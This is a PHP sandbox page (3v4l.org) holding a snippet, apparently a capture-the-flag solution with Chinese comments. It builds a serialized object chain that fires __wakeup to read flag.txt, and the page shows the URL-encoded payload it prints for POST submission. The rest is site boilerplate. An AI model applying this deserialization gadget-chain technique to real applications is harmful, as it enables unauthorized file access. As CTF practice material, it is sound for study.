3v4l.org

run code in 500+ PHP versions simultaneously

@ 2026-05-09T10:22:38Z

<?php
class RitualEngine {
    protected $settings;
    public $target;
    public $callback;
}

class Keystone {
    public $center;
}

class GateSentinel {
    public $object;
    public $tool;
}

// 1. 最内层 RitualEngine D：负责最终读取flag.txt
$D = new RitualEngine();
$D->target = 'flag.txt';
$D->callback = null;   // 用不到

// 2. RitualEngine C：callback序列化保存 [D, 'view']
$C = new RitualEngine();
$C->callback = serialize([$D, 'view']);

// 3. Keystone K：center指向C
$K = new Keystone();
$K->center = $C;

// 4. GateSentinel B：object随意，tool['blade']指向K
$B = new GateSentinel();
$B->object = 'nothing';          // 不含flag, .. , etc
$B->tool = ['blade' => $K];

// 5. 最外层 GateSentinel A：object指向B，触发__wakeup
$A = new GateSentinel();
$A->object = $B;

// 生成payload
$payload = serialize($A);
echo urlencode($payload);   // 输出后可用作POST data参数
?>

Output for git.master_jit, git.master: O%3A12%3A%22GateSentinel%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A12%3A%22GateSentinel%22%3A2%3A%7Bs%3A6%3A%22object%22%3Bs%3A7%3A%22nothing%22%3Bs%3A4%3A%22tool%22%3Ba%3A1%3A%7Bs%3A5%3A%22blade%22%3BO%3A8%3A%22Keystone%22%3A1%3A%7Bs%3A6%3A%22center%22%3BO%3A12%3A%22RitualEngine%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00settings%22%3BN%3Bs%3A6%3A%22target%22%3BN%3Bs%3A8%3A%22callback%22%3Bs%3A115%3A%22a%3A2%3A%7Bi%3A0%3BO%3A12%3A%22RitualEngine%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00settings%22%3BN%3Bs%3A6%3A%22target%22%3Bs%3A8%3A%22flag.txt%22%3Bs%3A8%3A%22callback%22%3BN%3B%7Di%3A1%3Bs%3A4%3A%22view%22%3B%7D%22%3B%7D%7D%7D%7Ds%3A4%3A%22tool%22%3BN%3B%7D

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page

2022-12-01 RFC: Property hooks - included in PHP 8.4
2020-03-21 RFC: Is_Literal - declined
2020-12-04 Enumerations - included in PHP 8.1
2018-06-15 Typed Properties v2 - implemented in PHP 7.4
2016-08-12 Object typehint - included in PHP 7.2
2016-08-14 Arrow functions - withdrawn
2016-05-29 array_change_keys() - withdrawn
2016-04-19 Lexical scope support for anonymous classes - suspended
2016-04-17 Functional Interfaces - declined
2016-03-16 Typed Properties - superseded in favor of Typed Properties 2.0
2015-08-27 Callable Prototypes - declined
2015-05-01 Short Closures - declined / withdrawn in favor of Arrow Functions
2015-02-18 Scalar type hints v5 - included in PHP 7
2015-02-14 Union Types - declined
2013-09-22 Anonymous classes - included in PHP 7

preferences:dark modelive previewkey bindings

45.99 ms | 739 KiB | 4 Q